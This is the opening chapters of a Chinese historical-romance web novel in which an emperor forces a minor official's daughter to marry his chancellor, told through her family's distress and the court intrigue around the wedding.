《谋夺臣妻》 1. 天水步汨泊晚虚 升龙二年春,天眷国京城,南城。 向晚词一觉醒来,阳光正透过窗子照进来,照在她脸上,唤醒了她。她翻了个身,背对着阳光,准备继续睡。 敲门声响起,一道柔和的声音传来:“幺儿,你爹今天熬了荼蘼粥,你昨天不是念叨着想吃吗?快起来吃吧。” 一听到荼蘼粥,向晚词顿时不困了,马上起床。 听见房间里的动静,外面的人推门进来,是个相貌秀雅的中年妇人。见妇人手里端着热水,向晚词连忙跑过去接过盆,把盆放到一边后,扶着她走到桌边坐下。 待妇人坐好,向晚词小声说:“娘,我自己会去端水的,你别累着。” 向母拍了拍她的手,声音里满是宠溺:“就这么点事,娘哪会累着?快去洗漱吧,粥凉了就不好了。” 向晚词应了一声,走到房间角落,很快就洗漱完毕,只是一头青丝披散,还没来得及梳起。她拿起梳子,随意梳了梳,也不想梳什么发式,就想这么随意扎起来。 见她要敷衍了事,向母朝她招了招手。向晚词走过去,向母接过她手里的梳子。向晚词坐在矮凳上,伏在向母怀中。桃木梳缓缓梳过柔顺的青丝,母亲冰凉的手指抚过发间,几下翻弄,就梳好了一个简单又不失雅致的发式。 梳好头后,向晚词依旧伏在向母怀中,微眯着眼,不时蹭蹭,完全不想起来。 向母摸了摸她的头,温声说:“快去用早食吧。” 向晚词又在她怀里拱了拱,过了好一会儿,才慢慢起身,出了房间。向母随着她出去,两人一同去了灶房。 到了灶房,向晚词盛了荼蘼粥,坐在向母身旁,小口小口地喝粥。 向母坐在那里,望着女儿秀美无伦的面容,心头涌起一阵喜意,随即又被愁意替代。无声地叹了口气,向母伸手帮女儿理顺发丝。向晚词抬头朝母亲一笑,又低头喝粥。 看着女儿喝过粥后,向母去休息。 向晚词回到房间,翻出快抄完的经文,伏在窗前仔细抄着。抄了小半个时辰,总算把抄了半月的经文抄完。 把经文摊在那里晾着,向晚词走出房间。外面的阳光愈发强烈,照在庭院中的荼靡花上,分外明亮。这是母亲喜欢的花,她花了许多心思才能让花开得这么繁茂。 看了一会儿花,向晚词开始打理庭院中的菜圃,一阵叫卖声从外面传来。 听到有新鲜的河鱼卖,向晚词洗干净手,快步走回房间,戴上面纱和帷帽。认真照过镜子,确定已经遮得严严实实了,向晚词走出房间。 她走到旁边的房间,隔着房门轻声说:“娘,李货郎带了鲜鱼来,我买一尾来给你炖汤,好不好?” “好,记得戴面纱帷帽。” “娘放心,我已经戴好了。” 向晚词应了一声,就朝外走去。街上人不多,只有几个人在巷口站着,围在李货郎的担子前挑着东西。向晚词走过去,看到了一篓鲜鱼。 见她过来了,李货郎笑着招呼:“向姑娘来了,今天有新鲜的河鱼,最补身子,要不要给你娘带一条?” “要的,我要这条,还是老价钱吗?” “当然,当然。” 李货郎手脚麻利地捆好竹篓里最小的那条鱼,递给她。向晚词付了钱,就提着小鱼回家了。 见她遮住了头脸,站在担子前的一个人问:“这是哪家的姑娘,怎么蒙头盖脸的?” 旁边有人道:“那是向先生家的女儿,听说是以前生过病,坏了容貌,见不得人,这才遮住脸的。这不,都已经二十了还没许人家。听说他家舍不得把女儿嫁出去,一直在招赘婿,一直都没人应。” “原来如此,真是可怜。” 一个嘴快的中年人道:“还不止,那向夫人是个药罐子,常年药不离口,不知要吃掉多少药钱。向先生虽说是榜眼出身,还在国子监任职,但人很古板,根本不会巴结上官,这么多年了官一点没升过,还是七品的博士,俸禄有限得很,连住的房子都是租的。谁要是做了他家的赘婿,摊上丑媳妇、病岳母、死板岳父,可有得他受的,谁会做这傻事?” “难怪买鱼都只买最小的。” “怪不得没人愿意做他家的赘婿,这谁受得了?” 一群人在那议论起来,把买东西的事扔到一边。 拎着小鱼回家后,向晚词关好大门,把鱼放到盆里养着,到菜圃中去摘午食要吃的菜。别人家都是一日两餐,他们家一直都是一日三餐。这是她娘决定的,娘说这样对身体好,一家子都习惯了如此饮食。 菜摘到一半,大门开了,一个面目清秀的中年文士走进来,关上了门。 听到声音,向晚词抬头看去,说:“爹,你回来了。” 向父从怀里掏出刚发的俸禄,连同手里的药包一起放在桌上,弯腰端起鱼盆,说:“时候不早了,我去做饭。你把药熬上,这次换了新方子,煎药的步骤我写在条子上了。” 向晚词应了一声,洗干净手,把俸禄拿回房间收好,就去熬药了。 到了正午,鲜香的鱼汤上桌,鱼刺全都被剔干净了,汤里只有鱼肉和大块的鱼骨。向父给妻女各自盛了一碗鱼肉,自己端着剩下的鱼骨吃。 一家人正吃着饭,敲门声响起。 向晚词扬声问:“谁啊?” “向姑娘,贫尼来取经文。” “好,我这就来。” 向晚词起身,向母道:“戴上面纱帷帽。” 向晚词应了一声,擦干净嘴,遮好脸,去开了门。一个老尼姑站在门外,佝偻着身子,肩上背着一个旧布包袱。 向晚词请她进了自己的屋子,把晾在桌子上的经文拿起来递给她,说:“这是这个月的经文,请您看一下。” 老尼接过经文,一页一页看过去。她看得很仔细,每一页都要从头到尾细看,没有一点遗漏。 她一边看,一边不住说:“好,好,向姑娘的‘雁体’真是京城一绝,再也找不到写得比你更好的姑娘了,难怪京里的夫人小姐们都喜欢你抄的经。” 一盏茶的功夫,老尼把经文翻看了两遍。 确定没有任何瑕疵后,她拿出两贯钱递给向晚词。向晚词接过那两串钱,一枚枚数着,确定一个铜板都不少后,她就在交接文书上签字画押,老尼也签字画押。 交接完了后,向晚词说:“劳烦师傅跑这一趟了,请坐下喝杯茶吧。” 你家的茶有什么好喝的,可别沾了你那病鬼娘的病气。心里这么想,老尼嘴上说:“多谢向姑娘,贫尼还要去贵人府上送经文,就不多叨扰了。” 听到这话,向晚词也不以为意,她一次都没在自己家喝过茶。把老尼送到巷口后,向晚词才转身回家。 回家后,吃完饭,一家三口各自回房,向晚词在房中整理书册。 到了黄昏,门外一阵嘈杂声传来,一个尖细的声音响起。 “国子监博士向谦接旨。” 听到这声音,向晚词愣了一下。 没多久,尖细的声音再度响起。 “奉天承运皇帝诏曰:国子监博士向谦之女向晚词,言容有则,温良恭淑。丞相荀令经明行修,清平干济。二人良缘天作,佳偶天成。今下旨赐婚,着礼部择吉日完婚。望汝二人永结同心,白头偕老,不负朕意。钦此。” 听到那尖细的声音吐出的话后,向晚词如遭雷击,僵在那里动弹不得。 堂屋里,正在接旨的向谦也如五雷轰顶,伏在地上一动不动。跟着跪下接旨的向母只觉一阵天旋地转,身子一软,直接昏了过去。 传旨太监好似什么都没看见,卷起圣旨,冷冷地说:“向大人,领旨谢恩吧。” 向谦依旧伏在那里,像个死人一样。 旁边的随行太监悄悄上前,伸脚往向谦身上踢了踢,看似轻柔实则很用力,一下子就把向谦踢醒了。他颤抖着身子,缓缓抬头,伸手去接圣旨,手伸了几次,才到了圣旨前,把重逾千斤的皇恩接了过来。 “臣向谦领旨谢恩。”向谦再度伏地而拜,语声如凋零的落叶,毫无生机。 传旨太监瞥了瞥伏地不起的向谦,发觉他没有起身的意思,哼了一声,也懒得说提点的话,带着人就走了。随行太监收起了准备接赏钱的手,跟在他身后离开。 一群人走了后,宅子里死一般寂静。向谦整个人都瘫倒下去,躺在冰冷的石板上再也不动。庭院中的那架荼蘼依旧盛放,在残阳的映照下染上了血色。 向晚词闭眼又睁眼,如是几次,确定不是在做梦后,她不再闭眼。她扶着门,稳了稳心神,打开房门,慢慢走出去,走到大门前,关上大门,转身走向堂屋。 到了堂屋,看见昏倒在地的父母,她呆了呆。回过神后,向晚词快步冲到母亲身旁,把母亲放平,掐她的人中。等到母亲悠悠转醒,她又去掐父亲的人中。 一刻钟后,向父向母才缓过神来,被向晚词扶着坐到了椅子上。然后,向晚词捡起掉落在地上的圣旨,放到桌上,站在母亲面前。 一家人谁都没说话,屋内异常安静。 向母看着桌上那卷圣旨,一动不动。过了许久,她忽然抄起圣旨,用力拉扯。 “娘,圣旨撕不得。”向晚词扑了过去,紧紧拉着母亲的手,不让她毁坏圣旨。擅自毁坏圣旨是大不敬罪,要杀头的。 向母死死盯着被女儿护住的圣旨,咬牙切齿地说:“皇权,皇权,该死的皇……” 她的话还没说完,就被女儿掩住了口。 “娘,不能说这些,会……”话还没说完,她眼中的泪已经落了下来。 向母松开手,圣旨滚落在地,她抱住女儿,泪如雨下。向父缓缓起身,走到妻女身边,一把抱住她们。残阳从窗户中照进来,照在正相拥而泣的三人身上,血一样红。 —— 京城,皇城东,荀府。 丞相荀令捧着圣旨,从容领旨谢恩。他仪容清隽,眉目疏朗,行起礼来行云流水,一派云淡风轻之色,让人丝毫看不出他内心的想法。 传旨的太监走后,荀令把圣旨往旁边一方,夹起茶饼,继续方才的动作。 他把茶饼放在炉火上炙烤片刻,用茶碾捣成细细的茶粉,在茶盏中点入沸水,将茶盏烫热后倒掉水。 然后他在茶盏中舀入一些茶粉,注入些许水,调成膏状,再注入水,用茶筅在茶盏内不断前后击拂。茶盏中逐渐浮现出无数汤花,几次注水击拂后,茶汤表面的泡沫变得细腻丰润,鲜白如云。 荀令又调制了一些茶膏,倒转茶勺,以勺柄尖沾着茶膏,在茶汤表面勾、挑、抹、点,寥寥几笔,茶盏内就出现了一副远山图。 整个过程,他的动作优雅自如,举手投足间自有一股无双风华。 点茶完毕,他将茶盏递给坐在一旁的心腹兼好友吴代。吴代接过茶,瞟了一眼旁边的圣旨,开始细细品茶。 品了许久的茶,吴代还是忍不住开口了:“延之,这旨意?”
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听完禀告,萧齐业嘴角勾起一抹笑,饶有兴味地问:“你说那个国子监博士的夫人昏了过去?” “启禀皇上,是。” “你猜她是高兴得昏过去,还是不高兴得昏过去?” 传旨太监小心翼翼地说:“启禀皇上,奴才不知。” 他斟酌又斟酌,把到了嘴边的“如此皇恩,她定是欢喜过头,才昏了过去”咽回去,换了更妥帖的回答。 萧齐业以手扣桌,不无遗憾地说:“要是荀令也来个昏倒,那场面就好看了。可惜,无论如何不愿,他都不会表露出来。” 传旨太监紧闭着嘴,半点不敢接言。 “去,把苻玚叫来。” “遵旨。” 没多久,吏部尚书苻玚到了,传旨太监把备份的赐婚圣旨捧到了苻玚面前。 苻玚双手接过圣旨,打开来看。 待他看完,萧齐业道:“这婚一定要成,那个国子监博士不能出事,这事就交给你了。” “臣领旨。” —— 京城,南城,向宅。 哭了一场后,向家三口都坐在堂屋里相对无言。 向母看着女儿,黯淡的油灯下,她愈发沉静秀美,如海棠夜绽,不可方物。 向母长长地叹了一口气,喃喃道:“那皇帝为什么会给幺儿赐婚?他要给丞相选妻子,怎么也轮不到幺儿吧,到底是为什么?明明已经藏得这么小心了,左躲右躲,还是躲不过去吗?” 向父拿起差点被撕的圣旨,看了又看,也没能从圣旨上看出端倪。 向晚词没去看圣旨,轻声说:“事到如今,再去想皇帝为什么选中我也于事无补了。娘、爹,皇帝的赐婚是拒绝不了的。” 向母的声音高了许多,拍着桌子叫道:“不!幺儿,那丞相年纪轻轻就能手握重权,一定是个心黑手狠的,绝对嫁不得!你爹不过是芝麻大点的小官,皇帝居然会要当朝丞相娶一个小官之女,里面肯定有内情,你要是被卷进去,怎么死的都不知道。不行,得想办法让婚事黄了。” 向父握住她的手,轻轻揉了揉,温声说:“阿筠莫担心,我来想办法,不会让小词嫁过去的。” 闻言,向母的神情平和了一些,很快又满是愁色,声音也愁苦起来:“听说那皇帝最是唯我独尊,要他收回成命太难了。” 向父神情平静,语声也很是平静:“陛下不会改变心意的,君无戏言,这是他最看重的。” 向母的神情黯淡下去,向父继续揉着她的手,说:“就算是陛下要赐婚,也要守礼法的。他可以选一个小官之女给丞相赐婚,但不可以选一个罪臣之女给丞相赐婚。” “不行!” 听到这话,母女两人同时叫了起来。 向父拍了拍妻子的手,又抚了抚女儿的头,温声说:“没关系,反正我留在国子监也无大用,还连累你们跟我困在京城。正好去了官身,我们一家三口再找个山明水秀之地过自在日子。” 向晚词站了起来,大声说:“不行!爹,你那么看重清名,一直洁身自好,才在官场上过得那么艰难,怎么可以背上污名?” 向父伸手拉住她,让她坐下,声音平静又和缓,还带着坚定:“清名再重,也没有小词重。” 向母拽着向父,声音颤抖:“不行,这样会毁了你,也会毁了幺儿的。要是成了罪臣之女,就没人愿意娶她了,肯定还有其他办法。” 向晚词闭了闭眼,轻声说:“没关系,娘、爹,反正都要嫁人,嫁谁都一样,我嫁就是了。我嫁过去后,只要犯了七出,那个丞相就有理由正大光明地休掉我了。到时候我就可以回家了,我们一家人还能在一起的。” 向母抓着她,语声悲切:“不,不!幺儿,那会毁了你一辈子的,到时候就没人敢娶你了。” 向晚词抱着母亲,语气坚决:“没人娶就不嫁,我才不要跟娘和爹分开,我要一辈子赖在你们身边,哪也不去。” 向母眼泪又落了下来,一手搂紧女儿,一手拉住丈夫,哽咽道:“我的乖幺儿,娘也不要跟你分开。你们别想着做傻事,肯定还有别的办法,我们再想想,再想想。” 向父抱住妻女,三人相拥而泣,宅内一片悲声。 2. 天氷步汨泊晚虚 京城,皇城东,吏部衙署。 吏部尚书苻玚一出皇宫就直奔吏部,马上签发了一纸调令,调国子监博士向谦为吏部稽勋司主事,即刻到任。 —— 次日,一夜无眠的向谦一大早就收到了调令。送调令的人把向宅的大门拍得山响,等向谦出来后当即把调令塞给他,连声催促他赶紧去更衣,马上去吏部到任。 向谦连国子监都没来得及去,就被拽着去了吏部。 吴代的人慢了一步,等他手下人到了国子监时,向谦已经在吏部了。 昨晚吏部的人也早就去过国子监,连夜把调任的手续办好了,提走了向谦的卷宗,还把他留在国子监里的所有东西都一并带走了。 吴代的人什么都没拿到,连向谦写废了的一张纸都没有,只能无功而返。 —— 父亲被叫走后,向晚词母女都在家中等候。到了中午,有人敲门。向晚词走出去,站在大门后往门缝外看,外面站着个身穿官服的人。她当即戴好了面纱帷帽,去开了门。 那官见有人出来,也不自我介绍,把一封信塞到向晚词手中,丢下一句:“向主事要留在吏部整理名籍卷宗,最近不会回来。” 说完,那官就自顾自走了,半刻不停。 向晚词怔了一会儿才反应过来,那人说的向主事就是自己的父亲。她关好门,回到房间拆开信来看,是父亲写的,内容和那人说的差不多,近些日子他要留在吏部办差,要她照顾好母亲,不要担心他。 看完那封信,向晚词久久不语。 父亲在国子监多年,为什么忽然被调到吏部,还调得那么急,去了就不给回来? 是和赐婚的事有关吗? 她思绪纷乱,对周遭一切浑然不觉,直到一阵密集的敲门声响起,才惊醒了她。 礼部的官员带着几个教习嬷嬷上门来了,说是要教她礼仪规矩,免得将来在婚礼上出岔子。向晚词什么话都没机会说,就被好几个教习嬷嬷围着带到了房中。 到了房中,其中一个嬷嬷说:“向姑娘,按照规矩,老身几人要先帮你验看一下。” 向晚词没明白这是什么意思,不由问:“验看什么?” 见她不明白,那个嬷嬷干脆挑明:“验看你是不是处子,请你摘下帷帽,宽衣解带吧。” 向晚词僵住了,站在那里动也不动。见她没动作,几个嬷嬷也没那耐心等着,自己就上来动手了。向晚词退了几步,护住自己,不让她们近身。 嬷嬷们也不继续上前,方才开口的那个嬷嬷说:“向姑娘,这可不是小事,老身几人是一定要验看的。这是圣上御赐的婚事,一点差错都不能出。你不让老身几人验看,老身几人只能跟上面禀报。到时候可就不是老身几人来给你验看了,人家也不会像老身几人这么好言好语的。你是愿意老身几人客客气气给你验看,还是愿意被人家强压着验看?” 向晚词深吸一口气,沉声说:“我知道了。” 房间里一阵衣物摩擦的声音响起。 隔壁房间里,太医院的杨太医正在给向母诊脉,身后站着个医女。早上,杨太医收到了吏部尚书苻玚的密令,在御赐婚事礼成之前,要他保证向母病情稳定。如若向母出了问题,影响到了婚事,他就不用在太医院待下去了。 —— 京城,皇城东,荀府。 吴代听着手下人的汇报,叹气又叹气。挥手让手下人退下后,他来到了茶室,荀令正在里面品茶。他称病不朝已经好些天了,一直在家品茶赏花、调香弹琴,日子悠闲得很。 进了茶室,喝了杯茶,吴代把事情交待一遍,才叹着气说:“是我考虑不周,慢了一步。没想到这次是苻玚那家伙主事,他动作可够快的,连夜就把事办了。好不容易能逮着机会整你,他怕是乐得很。现在向家三口全都在他的控制之下,再想要找机会动手就难了。” 说着,他把一张纸放在茶案上,继续说:“这是向家的情况,想来你也不耐烦看,我直接跟你说了吧。向家就向谦夫妇二人和一个女儿,租住在南城那一带的官邸。向家一直在招赘婿,女儿都二十岁了还招不到,据说是脸毁了。家里母亲常年病着,说是活不了多久,一直在挨日子。父亲是个死脑筋,在官场上无人在意。所以没人愿意入赘向家。皇帝这回可给你找了门好亲啊,难为他刨出这么个人来。” 荀令神情淡淡,斜靠在软榻上,双目半睁半闭,一副似睡非睡的样子。 “延之,延之。” 吴代唤了几声,荀令才睁开眼,目光幽深如潭,语气平静似水:“那便娶了。” “什么?” “人嫁过来,命薄,病逝,厚葬。” 听到这话,吴代不言语,半晌后叹了一声,点头道:“可惜那姑娘了,都是皇帝和苻玚造的孽。” —— 半月后。 京城,南城,向宅。 向晚词看看正在灶房里熬药的太医院医女,又看看堆在灶房里的珍贵药材,闭了闭眼,又睁开,继续按照嬷嬷的要求练习礼仪。 这些天来父亲被留在吏部,一直没有回来过。她和母亲在家中,走到哪都有人明里暗里跟着。看来在出嫁之前,这种情况会持续下去,就算自己想做点什么都没可能了。 没关系,只要他们能继续医治母亲,无论要她嫁给谁,她嫁就是了。 —— 一月后。 京城,南城,向宅。 一箱箱聘礼如流水般抬进来,房间里放不下,许多箱子就堆在庭院中,把菜圃里的菜都压扁了。 这全是礼部准备的聘礼。因为圣旨,婚礼的一切事宜,包括丞相府那边的彩礼、向家的嫁妆,全都由礼部准备,向家和荀府的人半点心都没操。 几日前,礼部拟定了婚期,下月初七。 拟定婚期后,向晚词和向母只是被通知了具体的日子,没有人问她们的想法。 礼部官员去荀府征询丞相的意见时,吴代出面接见了礼部官员。吴代大略扫了扫礼部官员给他的单子,就点头同意了。反正荀令已经决定娶了,什么时候娶、怎么娶都无所谓。 从荀府出来后,礼部官员拿着清单就回了礼部,没有去吏部,把向谦忘了个彻底。被留在吏部多日的向谦,根本不知道女儿婚期已定,就快要出嫁了。 如今,向母坐在堂屋里,望着满室珠光宝气,脸上没有一丝笑容,眼底全是绝望。 皇权,这就是皇权,皇帝要你生就生,死就死,要你嫁人,你就没有不嫁的权利。她就算是想阻止也不能。 不,她还能阻止的。 想到了一个可能,向母猛然站了起来。皇权再大,也要依照礼法,哪怕背地里干了多少卑鄙龌龊的事,表面上还是要装出忠孝仁义来的。 萧家王朝最提倡的不就是一个孝字?孝大于天,可是开国皇帝定下的铁则。从孤儿寡母手里强抢江山的乱臣贼子,没有脸讲忠字,只好把孝字高高举起,作为自家王朝的治国准则。 她能倚仗的也只有这个字了。 只要她死了,皇帝再怎么也要让女儿给自己的娘守孝三年。这婚事就成不了,没道理让当朝丞相一直不娶,等一个小官之女三年,肯定会选其他人嫁过去的。 向母打开锁,从柜子深处拿出一瓶药。 这药到她手里很久了,是她花了不少功夫和银子才弄到的,一直藏在隐秘处,谁都不知道。她早该吃了,吃了一了百了,再也不会拖累谁。她几次想吃都狠不下心吃,她实在舍不得女儿和丈夫,现在终于到了必须要吃的时候了。 把瓶子放在桌上,向母拿出纸笔,开始用她教过女儿、只有母女俩懂的文字写信。写写涂涂,废了许多纸墨后,她终于写好了。 把信藏好后,向母烧掉废纸,收起笔墨。 她把瓶中的一枚丹药取出来,躺到床上,吞下那枚丹药,平静地闭上眼。 她不会让这桩婚事成的。很快,这桩婚事就不成了。 夜已深,窗外灯影幢幢,透过窗户照进来,照出一片死寂。 —— 皇宫,朝阳殿。 礼部官员正拿着奏折,一条条念着御赐婚事的礼仪流程。 萧齐业斜靠在桌案上,漫不经心地听着。听了一会儿,他忽然扣了扣桌案。 礼部官员当即住口。 “人太少了,丞相大婚,怎能只去那么些人?让七品以上的官都去,有爵位的也去。让苻玚去做司礼,他与荀令同为‘天眷双璧’,也该去给荀令出出力。再派个善辞赋的翰林去,仿照蔡伯喈写篇《协和婚赋》来。” “是,陛下。” —— 次日,向宅。 向晚词很早就醒了,这些天来她一点赖床的机会都没有,每天都要很早起来,整日跟着嬷嬷们练习。 她起床没多久,教习嬷嬷们就上门了。她们已经搬到隔壁宅院住着,能时时刻刻过来,来得自然快。同样来得快的还有杨太医和医女。 杨太医一来就要去给向母诊脉,向晚词又去母亲房门前,轻敲房门,没动静。 “娘,杨太医来给你诊脉了。”向晚词轻声说。 无人回应。 向晚词心下一沉,用力推门,门打不开。她直接从窗户爬进去,三两步走到床边,掀开床幔。向母躺在床上,闭着眼,像是睡着了没醒。 她伸手过去,手放在母亲的鼻下。微弱的气息吹到手上,向晚词立刻放松下来。她凑到母亲耳边,轻声唤了几声,还是没醒。 向晚词快步走到门口,打开房门,扬声说:“杨太医,我叫不醒娘,您快来看看。” 闻言,杨太医顿时紧张起来,赶忙进房。要是向夫人有个好歹,那耽误的就不是她的命,而是他一家的前程了。 杨太医细细号了一会儿脉,面上的神色变换不定,良久才收回手。 向晚词站在一旁,关切地问:“杨太医,我娘怎么了?” 杨太医没马上回答,沉吟许久,才谨慎地说:“令堂似乎误食了什么药,那药……像是放了太久,药力减了许多……令堂受残余的药力影响,这才睡得很沉……并无大碍,我这就给令堂重开方子。” 拿着笔斟酌了许久,杨太医在方子中加了一些药材,喝了能让人神思涣散,无法集中精力思考,还会十分嗜睡。 开好方子后,杨太医把方子递给医女,让她去配药煎药。 医女走了后,杨太医低声说:“令堂忧思过度,难以安眠,老夫给她开了些安神益气的药,喝了后能睡几天安稳觉,过些日子就能好转,向姑娘勿要忧心。” “这样就好,劳杨太医费心了。” “不必客气。” 药开了后,向晚词就被嬷嬷们抓去练习了,只留医女照顾她娘。 向母再睁开眼的时候,脑袋昏昏沉沉,根本想不起睡之前发生的事。等到汤药下肚,她没多久就睡过去了,更没机会想什么了。 接下来数日,她每天喝下杨太医的药,睡着的时候比醒的时候多。就算醒着,她也总是发呆出神,久久不语。 向晚词见母亲神思不属,以为她还在为赐婚的事烦恼,总是变着法劝慰。可惜她的时间被嬷嬷们安排得满满当当,能空出的时间太少。她有闲暇的时候,向母大多时候都在睡觉,她也没法说太多了。 日子不知不觉过去,很快就到了四月初七。 —— 四月初七。 向宅。 向晚词很早就被教习嬷嬷们叫醒了。她醒了后,一大群人就围上来给更衣梳妆。 隔壁的向母也有专人伺候,给她穿戴打扮。这几天杨太医给她换了药,让她精神好了些,能在婚礼时维持清醒。打扮妥当后,向母就被留在房中,许多嬷嬷围着她,不到时间不会放她出去。 被留在吏部多日的向谦也被送回了向宅。天还未亮,好几个太监到了吏部,就在吏部替他梳洗更衣,把人收拾好了才送回向宅。 这个时候,向谦才知道今日是女儿出嫁的日子。到了向宅后,太监们也跟在他身旁,寸步不离。他被看着坐在堂屋中,哪也不能去,想看看女儿也不可能。 向宅早就被装扮一新,到处都是热闹喜庆的红色,与往日的幽静温馨大相径庭。装着聘礼的箱 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向晚词根本没去听,她没心思听那些,依旧自顾自出神。反正外面的人说什么,今天她都必须嫁给一个陌生人,听不听都一样。 好一阵喧闹后,有人把她扶起来,一顶绣着龙凤呈祥图案的红盖头盖到了她头上。她被搀扶着走出房间,去拜别爹娘。 狭窄的堂屋里挤了不少人,向晚词顶着红盖头,见不到爹娘的面,只能被搀着给爹娘磕头行礼。细细的啜泣声传入她耳中,那是娘的哭声。 向晚词的手刚动了动,就被旁边的嬷嬷扶住了,低声在她耳边说:“向姑娘,该上花轿了。” 然后,她就被架着走出了堂屋,想再跟爹娘说一句都不行。 出了堂屋,有人上来背她,把她背到宅外,上了花轿。迎亲的队伍吹吹打打,浩浩荡荡地向皇城方向前进。 —— 吴代坐在马上,走在迎亲队伍中间,嘴角不由泛出些许苦笑。荀令称病不朝,自然无法来迎亲,他就成了替荀令迎亲的人。天可怜见,他自己尚未婚配,就替别人迎亲,这种感觉真是让他五味杂陈。 迎亲队伍出了南城,缓缓进入皇城。不少达官贵人都专门等在必经之路上,就想看看丞相府的迎亲队伍。看到迎亲的是吴代后,不少人都发出了果然如此的感叹。 “我就说,荀相称病不朝,当然无法亲自去迎亲。” “他就算生龙活虎,也会找借口不去的。他可是十六岁就三元及第的少年神童,我天眷国最年轻的二品大员,如今也不过而立之年,又生得一副绝佳的好相貌,可谓风华无双、炙手可热。要不是他自己不愿娶亲,一直坚决推拒,先皇早就给他赐婚了,说不定还会破例把公主下嫁给他。京城里想嫁给他的名门闺秀不知凡几,陛下居然让他娶个丑妇,不像话。” “嘘,别妄议圣上,被人听到了,你我都吃不了兜着走。” “你说,荀相会不会让吴代替他拜堂?” “不能吧,荀相多半只是装病,又没病重到不省人事。好歹是皇上赐婚,他怎么也要自己拜堂的。” “要不要打赌?” “赌就赌。” “输了的人鸿雁楼请客。” “一言为定。” “听说新娘子是个丑女,到了二十岁还没嫁出去。当年先帝选秀,她本来也是要参加的,因为太丑被刷下去了。” “不是,是因病,我问过户部的人。当时她年纪刚好可以参加选秀,却得了痘疹,就被取消了资格。之后先帝病重,就没再选秀了。陛下登基后,发誓要尽人子的孝道,替先帝守丧三年。现在三年丧期未满,陛下也不会选秀,如今她也没机会再选了。” “你动作倒快,连这都打听清楚了。得了痘疹?怪不得丑了,说不定她满脸麻子,这还选什么秀?就算陛下选秀,她也肯定落选,年纪大,还丑。这下可有荀令好受的了,让他拗着不娶亲,我就等着看好戏。” “司礼是苻玚,他和荀令一直是死敌,这回亲自主持死敌的婚礼,他不知道要高兴成什么样。” “换我我也高兴,我的死对头要是娶这么个妻子,要我去给新娘子抬轿子我也愿意。明明同为‘天眷双璧’,荀令却处处比他强,事事压他一头,真真是既生瑜何生亮?他心里肯定憋着许多火,这回总算有出气的机会了。陛下让文武百官都去,这不就是让大家去看荀令的笑话?” “你不想看?” “想,当然想,荀令的笑话可不是想看就能看的。这家伙奸猾似鬼,好不容易逮着他的笑话了,我怎么着也要看个尽兴。等下喜宴的时候我要多喝几杯。” “巧了,我也要多喝几杯,今晚不醉不归。” “怎么是吴代迎亲?难道他跟荀令真的是断袖?连这个也要让吴代替?” “不见得,真是断袖的话,就不会让吴代出面了。” “不是断袖,他那么大年纪了还不娶妻?没通房不说,连下人用的都是男仆,满府一个丫鬟仆妇都没有,那荀府都成了和尚庙了。” “他眼光太高,看不上那些闺阁小姐吧。” “哼,你不妨说直接点,他憎恶世家门阀,不想跟高门大族的女子联姻,小门小户的女子他也看不上,总之什么女子他都看不上。” “你都知道我还说什么?” …… 迎亲队伍一进入皇城,吴代就瞧见了停在明处暗处的多辆马车。 看见这些马车,吴代心中暗叹,这些人这么迫不及待,都跑到路上来看热闹了,待会在喜宴上还不知要成什么样。延之啊延之,你树敌那么多,许多人都巴不得看你倒霉,等下我能替你挡多少就挡多少吧。 迎亲队伍到了荀府所在的朱雀大街时就停住了,前面有大批人马,阻住了迎亲队伍。 向晚词坐在花轿中,也没注意轿子已经停了。她满心惦记着父母,一直在想她离开后父母会怎样,一点也不关心外面如何。 蓦地一个响亮的声音传来,惊醒了她。 “陛下驾到。” 3. 天水歩汨泊晚虚 陛下?皇帝? 皇帝怎么来了? 对了,是他给那个丞相赐的婚,来了也不奇怪。 向晚词平静地想着,仿佛被赐婚嫁给丞相的人不是她。 那声陛下驾到响起后,外面的吹打声就停了,迎亲队伍停在那里,人群也静了下来。 向晚词很高兴,要是这轿子一直停在这里就好了。可惜事情不如她所愿,很快,她就听到了声音,尖细的声音,和那天到她家来传旨的人一样尖细的声音。 “陛下有旨,让迎亲队伍先进门。” 此话一出,外面的议论声又起。 “陛下居然亲至,荀相的面子真够大的。” “陛下让迎亲队伍先进去,自己在后面,多给新人脸面。” “哼,皇帝蔫坏,怕荀令不肯自己拜堂,就来盯着他。皇帝亲临,这下装病的荀令没法不出来接驾了,亲自拜堂也跑不了了。” “要是荀相生龙活虎地出来,他怎么跟陛下交待?” “荀相说他病了,他就是病了,要什么交待?皇上难道会问这种小事?你第一天到朝堂上来混?指鹿为马没听说过?陛下还说他兄友弟恭,你敢说不是?” …… 向晚词只感觉到轿子又动了,然后又被放下。这一次过了许久,她才听到人声。 “臣拜见陛下。”这声音不大,却很清晰,像淡而有味的茶,徐徐漾开,给人一种余韵悠长的感觉,不自觉想一品再品。 “丞相请起,今日是你大婚之日,不必多礼。”这声音如冰似玉,很好听,却又带着锋锐的寒意,没有半点圆融,似乎随时都可以刺破听到这声音的人的耳朵,让人不敢多听,与另外一个声音截然不同。 这应该就是那丞相和皇帝了吧,听起来声音都很年轻。 那丞相多少岁来着?向晚词想了一会儿,想不起来,只依稀记得不是四五十岁的人,似乎在大官里面算很年轻的。 没想多久,轿帘被掀起,一只手伸了进来,那个淡如茶汤的声音传进来:“请娘子下轿,拜见陛下。” 拜见陛下? 教习嬷嬷们教了她很多礼仪,婚礼的流程也让她背熟了,原本的流程里可没有拜见皇帝这一条。按照流程,她是要被人背下轿、背到大门口的。不管是谁来背她,总之不是她自己走出去。 这么自己走出去,到时候礼仪不对了算谁的错,会不会因此刁难她? 向晚词刚想回答,那个如冰似玉的声音就传了过来:“新娘子还未进门,不必急于拜见朕。今日朕是客,两位新人最重要,先继续婚礼。” 片刻之后,那只手伸进来,把她拉到背上,慢慢背了出去。除了父亲,这是唯一一个背过她的男子,她名义上的未来夫君,见都没见过一面就要嫁的人。 背她之人体格并不太健壮,还算得上是清瘦。然而他背着她走的时候,没有半点勉强吃力的样子,像是背着一团棉花,毫不费力地走着。向晚词虽瘦,却也是一个二十岁的成年女子。能这么轻松地背着她走,这人定然不是文弱书生。 出了花轿,隔着盖头,向晚词也感觉到了无数的目光,落在她和背她之人身上,似乎要把两人洞穿。 眼见新娘子被荀令背出来了,周围人都伸着脖子看,都想看看新娘子到底什么样。尽管大家都知道根本看不到,还是在努力看。 一时间,四周异常安静,向晚词都能清晰地听到背她之人的呼吸。那呼吸不疾不徐,如同他的步伐一样从容不迫,一步一步走向大门。 听到那呼吸声,向晚词就想,他肯定不紧张,那么多人看着,他还走得那么镇定,真是个心态好的人。 